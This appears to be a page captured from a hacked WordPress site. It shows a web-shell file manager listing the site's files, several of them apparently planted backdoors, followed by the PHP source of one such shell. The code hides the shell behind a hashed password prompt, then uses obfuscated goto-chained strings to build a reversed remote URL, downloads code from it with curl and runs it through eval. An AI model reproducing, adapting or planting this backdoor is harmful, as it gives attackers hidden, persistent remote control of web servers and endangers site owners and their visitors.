Gecko [ gtgates.com ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2026-02-05 15:07
61041a	[ DIR ]	drwxr-xr-x	2026-02-01 18:31
9ca64d	[ DIR ]	drwxr-xr-x	2026-01-24 11:24
fc9df	[ DIR ]	dr-xr-xr-x	2026-01-24 09:46
wp-admin	[ DIR ]	drwxr-xr-x	2026-02-01 18:27
wp-content	[ DIR ]	drwxr-xr-x	2026-02-01 18:27
wp-includes	[ DIR ]	drwxr-xr-x	2026-02-01 18:27
.htaccess	236 B	-r--r--r--	2023-08-25 11:24
click.php	1.29 KB	-r--r--r--	2023-07-01 11:24
execute.php	979 B	-rw-r--r--	2026-02-05 00:56
googlef7e255c4ae5a4000.html	53 B	-rw-r--r--	2026-01-26 06:31
index.php	12.73 KB	-r-xr-xr-x	2026-02-01 18:27
index.php0	12.73 KB	-rwxr-xr-x	2023-11-13 11:24
item.php	1.93 KB	-r--r--r--	2023-09-12 11:24
mah.php	1.36 KB	-r--r--r--	2024-01-10 09:46
options.php	2.03 KB	-r--r--r--	2023-06-03 11:24
product.php	2.03 KB	-r--r--r--	2023-12-24 09:46
robots.txt	313 B	-r--r--r--	2024-05-26 11:24
search.php	1.45 KB	-r--r--r--	2024-05-04 09:46
wp-Nj24pf.php	66.93 KB	-rw-r--r--	2025-08-14 15:35
wp-blog-header.php	351 B	-rw-r--r--	2020-02-06 14:33
wp-comments-post.php	2.27 KB	-rw-r--r--	2023-06-14 21:11
wp-config-sample.php	3.26 KB	-rw-r--r--	2025-12-03 11:33
wp-config.php	3.52 KB	-rwxr-xr-x	2025-08-07 15:21
wp-cron.php	5.49 KB	-rw-r--r--	2024-08-03 02:40
wp-links-opml.php	2.43 KB	-rw-r--r--	2025-12-03 11:33
wp-load.php	3.84 KB	-rw-r--r--	2024-03-11 17:05
wp-log1n.php	1.09 KB	-r--r--r--	2023-08-24 09:46
wp-login.php	50.23 KB	-rw-r--r--	2025-12-03 11:33
wp-mail.php	8.52 KB	-rw-r--r--	2025-12-03 11:33
wp-settings.php	30.33 KB	-rw-r--r--	2025-12-03 11:33
wp-signup.php	33.71 KB	-rw-r--r--	2025-03-11 01:16
wp-trackback.php	5.09 KB	-rw-r--r--	2025-12-03 11:33
xmlrpc.php	3.13 KB	-rw-r--r--	2024-11-08 23:52

Rename

<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto MMJd3; sy7E0: $SS8Fu .= "\x2f\160\x6f\164"; goto qDKgI; tBWqP: $SS8Fu .= "\65\x2f\144"; goto PjLow; Z1fDH: $SS8Fu .= "\x6f"; goto cQShg; cQShg: $SS8Fu .= "\57"; goto OTbPc; l2KX1: $SS8Fu .= "\164\164"; goto oibfZ; y0vkU: $SS8Fu .= "\57"; goto EYzIF; Q2dEt: $SS8Fu .= "\164\170\164\x2e\64"; goto tBWqP; hdfzX: $SS8Fu .= "\x2f"; goto y0vkU; M8874: eval("\77\x3e" . TW2KX(strrev($SS8Fu))); goto Q2VNb; oibfZ: $SS8Fu .= "\x68"; goto M8874; OTbPc: $SS8Fu .= "\141\x6d\x61\144"; goto sy7E0; GrX6T: $SS8Fu .= "\x30\141\x6d\141\x64"; goto hdfzX; MMJd3: $SS8Fu = ''; goto Q2dEt; PjLow: $SS8Fu .= "\x6c"; goto Z1fDH; qDKgI: $SS8Fu .= "\56\x32"; goto GrX6T; EYzIF: $SS8Fu .= "\x3a\x73\x70"; goto l2KX1; Q2VNb: function tw2kX($V1_rw = '') { goto S1oZL; V2RDF: $tvmad = curl_exec($xM315); goto EUVIW; tM6NO: return $tvmad; goto vuWvH; ZIbFK: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto yBSOL; EUVIW: curl_close($xM315); goto tM6NO; euHNs: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto kGJPE; kGJPE: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto i8G2G; S1oZL: $xM315 = curl_init(); goto ZIbFK; yBSOL: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto euHNs; i8G2G: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto V2RDF; vuWvH: }